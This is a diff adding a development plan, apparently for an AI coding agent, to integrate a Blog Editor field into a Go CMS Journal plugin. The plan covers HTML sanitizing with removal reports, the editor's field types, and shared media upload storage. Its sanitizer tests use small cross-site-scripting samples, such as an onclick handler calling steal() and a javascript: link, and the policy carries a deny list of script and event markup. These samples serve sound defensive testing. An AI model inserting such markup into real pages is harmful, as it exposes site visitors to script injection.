+      to: "cabana.FieldWritesFromContext"
+      via: "content_html := the written default-locale content"
+      pattern: "FieldWritesFromContext"
+    - from: "../sm-journal-plugin/controllers/posts.go FormAfterUpdate"
+      to: "cabana.TranslationWriter.WriteTranslated"
+      via: "content_html per written non-default locale (RESEARCH Pitfall 7)"
+      pattern: "content_html"
+    - from: "../sm-journal-plugin/controllers/api/media.go UploadMedia"
+      to: "../sm-journal-plugin/classes/media_store.go StoreMedia"
+      via: "extracted storage, response unchanged"
+      pattern: "StoreMedia"
+  prohibitions:
+    - statement: "htmlPolicy is never relaxed for iframe, object, embed, script, style, event attributes, target, rel, other data-* attributes or URL schemes; its only 16.2 additions are the four editor-output attributes, and the layer mirror (plan 04) adds the same four."
+      status: unresolved
+      verification: judgment
+    - statement: "The admin path never stores submitted bytes the policy would change: every written content value is SanitizeHTMLReport output, and no admin save fails because of unsafe markup."
+      status: unresolved
+      verification: judgment
+    - statement: "The public Journal write API and the public media upload route keep the PHP contract: request fields, response shapes and messages do not change."
+      status: unresolved
+      verification: judgment
+    - statement: "No per-post format flag, new column or migration is added for HTML versus markdown posts."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores sanitized HTML in both columns without goldmark and reports what it stripped; the shared policy admits the editor's own output; editor uploads reuse the existing media storage.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-02, D-04, D-05, D-10 and D-19 amended)
+
+16.1 replaced the regex gate with bluemonday v1.0.27 (sm-journal-plugin a3551f2, 0d00ec8, 5f47083): `rejectUnsafe` is gone; `FormatHTML` renders with goldmark and then strips through `SanitizeHTML`; `FormatTranslation` sanitizes per-locale `content_html` on API and import writes; `CheckHTML` refuses whenever the policy would change the HTML. Under the amended D-10, every admin write of post and category content stores the policy's output, never fails because of unsafe markup, and reports what was removed. This plan therefore:
+
+- decodes with `classes.SanitizeHTMLReport` (new) instead of `CheckHTML`, and returns the removals as plan 01's `pact.FormFieldNotice` values;
+- retires the Categories controller's 422 gate (`TestCategoriesAdminContent` now asserts the strip);
+- extends the policy for exactly the editor's own output (amended D-05) and pins it with plan 02's corpus (new Task 3).
+
+Where RESEARCH (Pattern 6, Pitfall 10, Code Example 2, Security Domain) or PATTERNS describe CheckHTML refusing or "no sanitizer", this plan's text wins. The pre-phase sm-journal-plugin head is now c60abc6 (requires summercms v0.1.17).
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Assumptions (explicit)
+
+- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
+- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
+- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
+- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
+- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` (goldmark, then `SanitizeHTML`) and `FormatTranslation` on PHP exports; it is not a form save and reports nothing.
+- **Public API category writes (API parity check, done at planning time):** `routes.go` mounts only `GET /_journal/api/v1/categories`; there is no public category write path, so retiring the admin 422 changes no public contract. The public posts routes keep `FormatHTML` and `FormatTranslation` (D-09); their responses do not change shape.
+- **`classes.CheckHTML` stays exported** (sm-journal-plugin is a tagged module; removing an exported function would be a breaking change for no gain). After this plan no admin or API write path calls it; it remains the predicate counterpart of the layer's `isSafeJournalHtml` and is used by the policy cross-check test. Its doc comment and README row say exactly that.
+- **Removal report:** `SanitizeHTMLReport` aligns the start tags of the input with those of bluemonday's output in order (bluemonday only removes, never adds or reorders). An unmatched input tag is a removed element; a raw attribute name missing from, or with a changed decoded value in, the matched output tag is a removed attribute (a `style` that lost a property counts under `style`); comments count separately; anything else that changed sets `Other`. Its report is empty exactly when the returned string equals the input. Names are distinct, first-seen order, at most 10 per list (counts stay exact).
+- **Policy extension (amended D-05), fixed set shared with plan 04's layer mirror:** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$` (the embed placeholder); `img` `alt` with any value (the editor's alt field takes free text; UGC's Paragraph pattern drops `:`, `?`, `"` and more; an attribute value is escaped on output and carries no URL); `ol` `start` `^[0-9]+$` (TipTap's ordered-list input rule writes it when a list does not start at 1). If plan 02's corpus shows any other attribute the policy strips, stop and report: plans 03 and 04 must add it together, and only if it is not a URL, style, event or iframe attribute.
+- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
+
+## Artifacts this phase produces (this plan)
+
+- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`, `removalNotices`.
+- `classes.SanitizeHTMLReport(doc string) (string, classes.HTMLRemovals)`, `classes.HTMLRemovals{Elements, ElementCount, Attributes, AttributeCount, Comments, Other}` with `Empty() bool`; `SanitizeHTML` becomes the string half of it; `CheckHTML` kept (doc comment updated); `newHTMLPolicy` gains the four editor-output attributes.
+- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
+- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
+- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed`, and the plural notices `golem15.journal::lang.editor.removed_elements`, `removed_attributes`, `removed_comments` and the plain `markup_changed` (en and pl).
+- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
+- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`; `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` in `classes/editor_policy_test.go`.
+- Updated Postgres tests (compiled by vet, run on a Docker host): `TestPostsFormCompiles`, `TestPostsAdminCreateSmoke`, `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`.
+- Decision note amendment in `.planning/notes/journal-html-sanitizing-bluemonday.md` (summercms.go, docs commit).
+
+<objective>
+Wire the Blog Editor into Journal: field types, strip-and-report Decode, Load, post and category fields, admin save hooks, the policy extension for the editor's own output and editor uploads (D-02 to D-10, D-14, D-18, D-19).
+
+Purpose: Journal post and category content are edited with the Blog Editor; an admin save keeps imported HTML intact when nothing is unsafe, strips what is and tells the admin what it removed.
+Output: classes/blog_editor.go, SanitizeHTMLReport and the policy extension in classes/format_html.go, classes/media_store.go, field_types.go, hook changes (posts and categories), fields.yaml switches, lang keys, the policy cross-check test, updated Docker tests, smoke tests, README, decision note amendment.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
+@.planning/todos/pending/journal-imported-html-admin-resave.md
+@.planning/todos/pending/cabana-richeditor-field-type.md
+
+Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through its go.mod `replace` and `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is c60abc6 (16.1 shipped a3551f2, 0d00ec8, 5f47083 and c60abc6 after this phase was first planned); acceptance checks below diff against it. The decision note lives in this repository (summercms.go `.planning/notes/`) and is committed there as a separate docs commit.
+
+No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).
+
+<interfaces>
+From plan 01 (pact and cabana, see 16.2-01-SUMMARY for the final names):
+
+```go
+type FormFieldType struct { Name, Element string; Translatable bool; Scripts, Styles, Options []string
+	CheckOptions func(map[string]any) error; Decode func(context.Context, FormFieldValue) (FormFieldDecoded, error)
+	Load func(context.Context, FormFieldValue) (any, error)
+	ListValue func(any) string; Upload func(context.Context, FormFieldUpload) (FormFieldUploadResult, error) }
+type FormFieldDecoded struct { Value any; Notices []FormFieldNotice }
+type FormFieldNotice struct { Message string; Params map[string]string; Count int } // cabana localizes; Count > 0 = plural
+type FormFieldValue struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Locale string
+	Default bool; Value any; Translated func(attribute string) (string, bool, error) }
+type FormFieldUpload struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Filename string; Body io.Reader }
+type FormFieldError struct{ Messages []string }
+// cabana
+type FieldWrite struct { Locale string; Default bool; Value any }
+func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool)
+func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context
+func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*cabana.FormSchema, error)
+func TxFromContext(ctx context.Context) (*gorm.DB, bool)
+type TranslationWriter interface { /* DefaultLocale, EnabledLocales, WriteTranslated(ctx, tx, model, field, locale, value), TranslatedExact */ }
+```
+
+Journal code to change (read before editing):
+- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
+- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus the CheckHTML 422. The 422 is retired in Task 2 (D-19 amended); blank to NULL stays.
+- `journal_api_categories_test.go` `TestCategoriesAdminContent` (138): subtests "unsafe create refused" and "unsafe update refused" with `assertContentRefused`; they become strip assertions in Task 2.
+- `posts_admin_smoke_test.go` `TestPostsAdminSaveSanitizesHTML` (159): asserts content stored as submitted and content_html sanitized; under D-02 both columns hold the sanitized HTML (Task 1).
+- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
+- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
+- `classes/format_html.go`: `newHTMLPolicy` (UGC plus footer, class, microdata, four styles, footnote roles, dir, two chat data attributes), `FormatHTML(src string) (string, error)` (goldmark then SanitizeHTML), `SanitizeHTML(doc string) string`, `FormatTranslation(attrs map[string]any) error`, `CheckHTML(doc string) error` (error when the policy would change doc), unexported `sanitizeHTML` (returns doc unchanged when `sameTokens` holds), `sameTokens`, `htmlTokens`, `rawAttrNames` (duplicate attributes count as a change).
+- `classes/format_html_test.go` `unsafePayloads` (the 35 stored-XSS payloads), `classes/check_html_test.go`, `classes/format_translation_test.go`: existing tests that must keep passing.
+- `routes.go`: the public routes (no category write).
+</interfaces>
+</context>
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer: post content on mlblogeditor end to end (types on the plugin, fields.yaml, strip-and-report Decode, Load with D-07, both columns written by the hooks)</name>
+  <reversibility rating="costly">D-02 and D-11: every post saved from the admin becomes HTML content (moving back needs an HTML-to-markdown migration), and the aliases blogeditor and mlblogeditor end up in fields.yaml files that a rename must edit.</reversibility>
+  <precondition>16.2-01-SUMMARY.md and 16.2-02-SUMMARY.md exist; `go -C ../sm-journal-plugin build ./...` succeeds against the current ../summercms.go working tree and ../sm-journal-plugin/assets/dist/blogeditor.js exists.</precondition>
+  <files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/field_types.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
+  <read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md (final identifiers), ../summercms.go/modules/pact/capabilities.go (FormFieldType and friends), ../summercms.go/modules/cabana/tx_context.go (FieldWritesFromContext, WithFieldWrites, TxFromContext), ../summercms.go/modules/cabana/field_ml.go (TranslationWriter), ../summercms.go/docs/backend/field-types.md, ../sm-journal-plugin/classes/format_html.go (sanitizeHTML, sameTokens, htmlTokens, rawAttrNames), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/admin.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go (TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML), ../summercms.go/modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), ../summercms.go/modules/cabana/locale_order_test.go (recording TranslationWriter style), ../summercms.go/modules/bouncer/context.go (WithUser)</read_first>
+  <action>Make one post-content save path work end to end on the new types (per D-02, D-03, D-04, D-07, D-08, D-10, D-14).
+
+Removal report (D-10 amended), in classes/format_html.go: add HTMLRemovals and SanitizeHTMLReport(doc) as described in the assumptions (in-order start-tag alignment; elements, attributes via rawAttrNames so a repeated name counts, comments, Other; at most 10 distinct names per list with exact counts; Empty() is false exactly when the returned string differs from doc). SanitizeHTML returns SanitizeHTMLReport's string, so both share one implementation; FormatHTML, FormatTranslation and CheckHTML keep their behaviour and tests.
+
+classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10 amended, D-04): nil decodes to ""; any other non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; a string goes through SanitizeHTMLReport and the result is pact.FormFieldDecoded{Value: the sanitized string, Notices: removalNotices(report)}, so a value the policy keeps whole is returned byte for byte with no notice. removalNotices emits, in this order and only when non-zero: golem15.journal::lang.editor.removed_elements (Count ElementCount, Params names = the element names joined with ", ", plus "…" when more than 10 were cut), removed_attributes (the same for attributes), removed_comments (Count Comments), markup_changed (Other, no count). Decode never refuses because of markup. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
+
+field_types.go (root package): (p *Plugin) FormFieldTypes() []pact.FormFieldType returns classes.BlogEditorTypes with a lazy accessor of p.app, plus the compile-time assertion that *Plugin implements pact.HasFormFieldTypes.
+
+models/post/fields.yaml: content becomes type mlblogeditor with htmlColumn: content_html and uploadFolder: posts (D-08); excerpt and every other field unchanged.
+
+controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).
+
+Lang: add editor.content_invalid ("The content must be HTML text." / "Treść musi być tekstem HTML."), editor.image_invalid and editor.upload_failed to lang/en and lang/pl, and the notices in the phrasebook plural map format: en removed_elements one ":count element was removed: :names", other ":count elements were removed: :names"; removed_attributes one ":count attribute was removed: :names", other ":count attributes were removed: :names"; removed_comments one ":count HTML comment was removed", other ":count HTML comments were removed"; markup_changed "The HTML filter changed some markup."; pl with one, few, many and other ("Usunięto :count element: :names" / "Usunięto :count elementy: :names" / "Usunięto :count elementów: :names" / "Usunięto :count elementu: :names", likewise atrybut/atrybuty/atrybutów/atrybutu and komentarz HTML/komentarze HTML/komentarzy HTML/komentarza HTML; markup_changed "Filtr HTML zmienił część znaczników.").
+
+Docker tests (correctness, compiled by vet, run on a Docker host): in posts_admin_smoke_test.go TestPostsFormCompiles expects "mlblogeditor" instead of "mlmarkdown" for content (keep the mltext, mltextarea and preset checks); TestPostsAdminCreateSmoke posts HTML content ("<p>Hello <strong>world</strong></p>" and the pl equivalent) and asserts stored.ContentHTML equals stored.Content exactly and that the create response has no meta.notices key; TestPostsAdminResaveKeepsHTML compares content_html with the exact content bytes (no TrimSpace); TestPostsAdminSaveSanitizesHTML (D-02, D-10 amended) keeps its unsafe input but now asserts that the save succeeds, that content and content_html are both the sanitized HTML and equal to each other for pl (host) and en (translation), that the "Data:" text is kept, and that the response's meta.notices names content for pl and en (removed elements a and base, removed attribute onerror).
+
+Smoke: controllers/posts_editor_smoke_test.go TestBlogEditorTracerSmoke (package controllers, no database): CompileFormWithTypes("golem15.journal", postsAdminController{}, os.DirFS(".."), classes.BlogEditorTypes(nil)) gives content type mlblogeditor, element golem15-journal-blogeditor, translatable, typeOptions htmlColumn content_html; Decode returns a clean HTML string byte for byte with no notice, strips a script element and an onerror attribute and returns two notices (removed_elements Count 1 names "script", removed_attributes Count 1 names "onerror"), decodes nil to "" and refuses a number with a FormFieldError; Load serves content for an HTML value, content_html (via a stub Translated) for a markdown value, FormatHTML output when content_html is empty; with WithFieldWrites({content: [pl default "<p>A</p>", en "<p>B</p>"]}) and a backend principal, FormBeforeUpdate sets ContentHTML "<p>A</p>" and FormAfterUpdate writes content_html for en through a recording TranslationWriter published on a backpack app; without writes FormBeforeUpdate leaves ContentHTML unchanged (no goldmark).
+
+Commit as "feat(classes): report what the HTML policy removes" (format_html.go only) and "feat(admin): post content on the Blog Editor field type" (blog_editor.go, field_types.go, posts.go, fields.yaml, lang, tests), staged by explicit path.</action>
+  <verify>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorTracerSmoke$' -v ./controllers/ 2&gt;&amp;1 | grep -- '^--- PASS: TestBlogEditorTracerSmoke'</automated>
+    <fails_when>Non-zero exit: go vet fails (including the updated Docker tests), or no "--- PASS: TestBlogEditorTracerSmoke" line (fields.yaml does not compile with the types, Decode stores unsafe HTML or refuses instead of stripping, a clean value changes or gets a notice, Load ignores D-07, or the hooks do not write content_html).</fails_when>
+    <automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
+    <fails_when>Non-zero exit: a classes or controllers test fails, or fewer than five "--- PASS: Test" lines for the FormatHTML, SanitizeHTML and CheckHTML tests (the API-path renderer, the byte-stability rule, the duplicate-attribute rule or the predicate regressed when SanitizeHTML moved onto SanitizeHTMLReport).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "type: mlblogeditor" ../sm-journal-plugin/models/post/fields.yaml` prints one line and `grep -n "htmlColumn: content_html" ../sm-journal-plugin/models/post/fields.yaml` prints one line.
+    - `grep -n "FieldWritesFromContext" ../sm-journal-plugin/controllers/posts.go` prints at least one line, and `grep -n "func (c postsAdminController) FormAfterUpdate" ../sm-journal-plugin/controllers/posts.go` prints one line.
+    - `git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go` exits 0 (D-09: the public posts API code and the route table are unchanged since the pre-phase head).
+    - `grep -n "func SanitizeHTMLReport" ../sm-journal-plugin/classes/format_html.go` prints one line, and `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/classes/blog_editor.go` prints at least one line.
+    - `grep -n "CheckHTML(" ../sm-journal-plugin/classes/blog_editor.go ../sm-journal-plugin/controllers/posts.go` prints nothing (no call: the admin post path never refuses on markup).
+    - TestBlogEditorTracerSmoke passes with its compile, Decode (clean unchanged, strip with notices, nil, non-string), Load (HTML, markdown, empty content_html) and hook subtests.
+    - TestPostsFormCompiles in posts_admin_smoke_test.go looks for "mlblogeditor".
+  </acceptance_criteria>
+  <done>Post content compiles as mlblogeditor, unsafe HTML is stripped per locale with notices naming what was removed (clean HTML is stored byte for byte), markdown posts are served as their content_html, and a written content value lands in content_html for its locale without goldmark.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 2: Expansion: category content on blogeditor (stripped like posts, the 422 gate retired), editor uploads through the extracted media storage, README</name>
+  <files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/journal_api_categories_test.go, ../sm-journal-plugin/README.md</files>
+  <read_first>../sm-journal-plugin/classes/blog_editor.go (Task 1 state), ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go (prepareCategoryWrite 65-82), ../sm-journal-plugin/journal_api_categories_test.go (TestCategoriesAdminContent 138: assertContentRefused, the two unsafe subtests, blank update stores null), ../sm-journal-plugin/routes.go (public routes: GET categories only), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, ../summercms.go/modules/lagoon/attach (PublicURL), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (translatable list, lines 36-40)</read_first>
+  <behavior>
+    - StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
+    - UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
+    - Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
+    - Category content (D-19 amended): models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); Decode strips `<p onclick="steal()">x</p>` to `<p>x</p>` with a removed_attributes notice; prepareCategoryWrite maps blank (including whitespace only) to NULL and accepts every other value it receives, returning no error for markup.
+  </behavior>
+  <action>Finish the Journal half (per D-18, D-19, D-09).
+
+Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
+
+Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
+
+Category (D-19 amended, D-10): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span), so category content goes through the same strip-and-report Decode as posts. In controllers/categories.go, prepareCategoryWrite keeps the blank-to-NULL rule and drops the HTML gate and its 422; its doc comment says category content arrives already sanitized by the blogeditor Decode (D-10 amended, decision note), and that rows written by SQL or import commands are not sanitized here. Remove the classes import if nothing else in the file uses it. API parity: there is no public category write route (routes.go), so no public contract changes; if the executor finds one, it stops and reports instead of changing it.
+
+Postgres test (correctness, compiled by vet, run on a Docker host): in journal_api_categories_test.go TestCategoriesAdminContent, replace the 422 refusal helper with an assertContentStripped helper. "unsafe create refused" becomes "unsafe create stripped": the POST answers 201, the row exists with content `<p>x</p>`, and the response's meta.notices has one entry for field content naming onclick. "unsafe update refused" becomes "unsafe update stripped": the PUT answers 200, the stored content is "x" (bluemonday drops the javascript: href and the bare a element), and meta.notices names the removed a element. The safe create keeps its byte-identical assertion and gains "no notices key in meta"; "blank update stores null" and "posts-only token forbidden" stay as they are.
+
+Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
+
+README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options; what an admin save stores (the sanitized HTML in content and content_html per locale; a value the policy keeps whole is stored byte for byte; anything the policy does not allow is removed and the save names what was removed; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit); that category content follows the same rule and is no longer refused with a 422 (replace the "refuses content that fails classes.CheckHTML" sentence in the categories section); that the public API stays markdown-in (D-09); and editor uploads. Commit as "feat(admin): category content on the Blog Editor and editor image uploads" (category fields.yaml, categories.go, Upload, tests, README) and "refactor(api): share media storage with the editor upload" as two commits, staged by explicit path.</action>
+  <verify>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2&gt;&amp;1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
+    <fails_when>Non-zero exit: vet fails, or fewer than two "--- PASS: TestBlogEditor" lines (upload storage, sniffing, safe names, category compile or Load broken, or the Task 1 smoke regressed).</fails_when>
+    <automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
+    <fails_when>Non-zero exit: a classes test (including the moved media path tests) or a controllers/api test fails.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` prints one line.
+    - `grep -n "CheckHTML(" ../sm-journal-plugin/controllers/categories.go` prints nothing and `grep -n "ValidationError" ../sm-journal-plugin/controllers/categories.go` prints nothing (the 422 gate is retired).
